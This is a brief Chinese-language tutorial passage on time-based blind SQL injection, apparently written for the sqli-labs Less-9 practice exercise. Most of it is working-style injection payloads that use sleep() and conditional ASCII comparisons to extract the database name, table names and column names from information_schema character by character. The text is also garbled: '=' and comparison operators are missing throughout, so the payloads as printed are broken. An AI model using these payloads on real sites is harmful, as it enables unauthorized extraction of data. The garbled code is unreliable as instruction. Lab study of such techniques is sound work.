sql注入-时间盲注

时间盲注web页面只返回一个正常页面 利用叶敏响应时间不同逐个猜解数据http://sqlilab/Less-9/?id1 and sleep(3)--可以在网络那看到反应了3s所以可以通过反应时间来判断真与假?id1 and if(ascii(substr((select database()),1,1))100,sleep(0),sleep(3))--同理依次可以看第二个第三个?id1 and if(ascii(substr((select database()),2,1))100,sleep(0),sleep(3))--依次查表、列...?id1 and if(ascii(substr((select table_name from information_schema.tables where table_schemadatabase() limit 0,1),1,1))100,sleep(0),sleep(3) )--?id1 and if(ascii(substr((select column_name from information_schema.columns where table_schemadatabase() and table_nameusers limit 0,1),1,1))100,sleep(0),sleep(3))--